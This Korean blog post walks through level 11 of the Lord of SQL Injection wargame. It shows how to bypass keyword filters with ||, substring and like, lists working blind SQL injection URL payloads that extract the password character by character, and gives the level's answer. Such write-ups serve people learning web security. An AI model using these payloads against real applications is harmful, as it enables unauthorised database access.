관리 메뉴

FU11M00N

Lord of injection golem(11)단계 본문

Web Hacking/Lord of injection

Lord of injection golem(11)단계

호IT 2019. 11. 1. 01:49

이번엔 11단계 골렘입니다!! 바로 봐보겠습니다.

이번에 금지되는 문자들은 prob,_(언더바) ,( ) , or, and, substr,=이네요..!

 

7단계의 문제의 orge와 흡사하지만 substr이 필터링되어있습니다.

 

자!  데이터베이스의 pw와 입력한 pw의 값이 같습니다. 그럼 이제 뭐 해야 할지 감오시죠??!

값을 정확하게 입력해줘 야하기 때문에  Blind injection을 해줘야 합니다!!

더보기

블라인드 인젝션에 대한 자세한 설명은

4단계 문제와 감사하겠습니다!!


하지만 이 문제에선 우리가 7단계에서 사용했던 substr = 이 필터링되어있어서 매우 난감합니다...

하지만 substr=을 다른 것으로 우회하면 됩니다!!

substr substring으로 우회하면 됩니다. 

 

substr() substring() 서로 같은 뜻이므로 substring()을 사용하여 문제를 풀어보겠습니다.

참고로 sql 명령어들을 자세히 알고 싶으면 여기 이 사이트에 가서 알아보면 됩니다.

https://www.1keydata.com/kr/sql/sql-substring.php

 

그리고 =은 like로 우회하면 됩니다.

정리하자면 or -> ||  and -> &&   substr -> substring    = -> like

 

 

우선 역시 전단 계와 같은 방법으로 길이를 알아내는 함수인 length()를 이용하여

 

?pw=11111%27||length(pw)like 8%23 명령어를 길이 1~8까지

하나하나 명령어를 입력하여. 길이가 8인 것을 알 수 있었습니다!

그럼 저번 문제와 길이가 8은 같고 이제 값을 하나하나 알아봅시다!!

 

아까도 말했듯이 substr이 필터링되어있어서 substring으로

사용하여 값을 알아내 봅시다!

 

원래 전 단계 에서의 블라인드 인젝션은 아스키코드값으로 변환시킨 뒤 값을 알아냈지만,

이번에는 그냥 값을 바로 알아보는 것을 궁금하시는 분들도 있을 거 같아 그 방법으로 풀겠습니다!!

 

?pw=1234%27||substring(pw,1,1)%20like 8%23 

?pw=1234%27||substring(pw,2,1)%20like 8%23 

?pw=1234%27||substring(pw,3,1)%20like 'e'%23 

?pw=1234%27||substring(pw,4,1)%20like 3%23 

?pw=1234%27||substring(pw,5,1)%20like 1%23 

?pw=1234%27||substring(pw,6,1)%20like 3%23 

?pw=1234%27||substring(pw,7,1)%20like 7%23 

?pw=1234%27||substring(pw,8,1)%20like 'f'%23 

 

영어는 문자이기 때문에 ' ' 을해줘야합니다!

자 이렇게 정답인

88e3137f 을 구했습니다 그럼 입력해볼까요??!

이렇게 정답이 나왔습니다!!

풀면서 힘들었네요..

정말 신신당부하지만 하나하나 하지 마시고

파이썬을 사용하여 푸는 게 훨씬 더 쉽습니다!!(필자는 파이썬 잘 모름...)

 

그리고 앞으로 중복되거나 비슷한 개념이 많을 텐데

이러한 경우엔 전 단계에서 다 설명했기 때문에

중복되거나 비슷한 개념의 설명은 생략하고 풀겠습니다.

감사합니다!!

 

그리고 제가 초보인지라 항상 피드백이나 지적질 달게 받겠습니다!!

 

 

 

 

 

Comments